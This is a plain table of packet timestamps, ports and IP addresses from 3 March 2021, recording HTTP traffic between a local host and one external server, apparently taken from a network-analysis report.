Mar 3, 2021 07:33:23.038999081 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.039022923 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.039030075 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.039066076 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.039922953 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.039958954 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.039984941 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.040009022 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.040015936 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.040052891 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.040915012 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.040945053 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.040988922 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.041007996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.041043043 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.041071892 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.041790962 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.041815996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.041848898 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.041872978 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.041891098 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.041917086 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.042728901 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.042757034 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.042819977 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.043195963 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.043224096 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.043246984 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.043266058 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.043270111 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.043312073 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.044114113 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.044142008 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.044163942 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.044184923 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.044207096 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.044236898 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.045047045 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.045074940 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.045100927 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.045124054 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.045140028 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.045170069 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.045954943 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.045985937 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.046009064 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.046034098 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.046035051 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.046075106 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.046824932 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.046855927 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.046932936 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.046957016 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.046979904 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.047036886 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.047708035 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.047735929 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.047758102 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.047776937 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.047791004 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.047827959 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.048573017 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.048599958 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.048621893 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.048646927 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.048655987 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.048698902 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.049477100 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.049504042 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.049531937 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.049561024 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.049571991 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.049621105 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.050271034 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.050302029 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.050323963 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.050345898 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.050359964 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.050393105 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.051167011 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.051198006 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.051225901 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.051244974 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.051265001 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.051301956 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.051939011 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.051966906 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.051990032 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.052015066 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.052052975 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.052073002 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.052103996 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.052757025 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.052789927 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.052817106 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.052841902 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.052853107 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.052926064 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.053183079 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.053570032 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.053596973 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.053620100 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.053642035 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.053648949 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.053690910 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.054357052 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.054387093 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.054411888 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.054435015 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.054444075 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.054507971 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.055174112 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.055202007 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.055226088 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.055247068 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.055273056 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.055316925 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.055963039 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.055991888 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.056046009 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.056086063 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.056106091 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.056162119 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.056777954 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.056806087 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.056828976 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.056853056 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.056864977 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.056900024 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.057558060 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.057589054 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.057615042 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.057647943 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.057662964 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.057714939 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.058348894 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.058377028 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.058427095 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.058442116 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.058465958 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.058514118 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.059130907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.059158087 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.059182882 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.059220076 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.059228897 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.059272051 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.059931040 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.059967041 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.059990883 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.060024977 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.060055017 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.060103893 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.060738087 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.060769081 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.060794115 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.060818911 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.060874939 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.061113119 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.061626911 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.061655998 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.061680079 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.061703920 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.061733961 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.061754942 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.062323093 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.062349081 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.062371969 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.062395096 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.062405109 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.062438965 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.063113928 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.063142061 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.063167095 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.063190937 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.063193083 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.063229084 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.063894987 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.063920975 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.063940048 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.063957930 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.063977957 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.063994884 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.064136982 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.064884901 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.064913034 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.064935923 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.064961910 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.064973116 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.064986944 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.065010071 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.065010071 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.065046072 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.065865040 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.065895081 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.065917969 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.065942049 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.065951109 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.065963984 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.065984011 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.065989017 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.066078901 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.066808939 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.066827059 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.066855907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.066869020 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.066874027 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.066901922 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.066921949 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.066956043 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.066998959 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.067784071 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.067810059 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.067838907 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.067858934 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.067862034 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.067886114 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.067903996 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.067909956 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.067956924 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.068727970 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.068751097 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.068773985 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.068799019 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.068799019 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.068820953 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.068836927 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.068845987 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.068891048 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.069839954 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.069869041 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.069892883 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.069916010 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.069924116 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.069942951 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.069964886 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.069967031 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.070007086 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.072006941 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.072033882 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.072062016 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.072082996 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.072098017 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.072107077 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.072128057 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.072163105 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.072213888 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.074150085 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.074182034 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.074206114 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.074229002 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.074235916 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.074274063 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.075732946 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.075759888 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.075778008 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.075803041 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.075817108 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.075825930 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.075850010 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.075851917 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.075898886 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.076273918 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.076297998 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.076317072 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.076344013 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.077841043 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.077955008 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.077980995 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.078000069 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.078015089 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.078027010 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.078031063 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.078043938 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.078059912 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.078084946 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.078442097 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.080130100 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.080162048 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.080183029 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.080190897 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.080199957 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.080224991 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.080231905 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.080245972 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.080302954 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.081629038 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.081660032 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.081677914 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.081696987 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.081697941 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.081732035 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.081754923 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.081799984 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.081811905 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.082025051 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.082066059 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.082168102 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.082189083 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.082211971 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.082232952 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.082242966 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.082257032 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.082267046 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.082967997 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.082993031 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.083012104 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.083020926 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.083034992 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.083055019 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.083056927 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.083075047 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.083097935 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.083863974 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.083888054 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.083909035 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.083921909 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.083929062 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.083950043 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.083956957 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.083971977 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.084006071 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.084738970 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.084769011 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.084793091 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.084799051 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.084821939 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.084846020 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.084850073 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.084871054 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.084901094 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.085619926 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.085644960 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.085661888 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.085680962 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.085684061 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.085700035 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.085716009 CET	80	49770	172.67.179.188	192.168.2.4
Mar 3, 2021 07:33:23.085721970 CET	49770	80	192.168.2.4	172.67.179.188
Mar 3, 2021 07:33:23.085746050 CET	49770	80	192.168.2.4	172.67.179.188
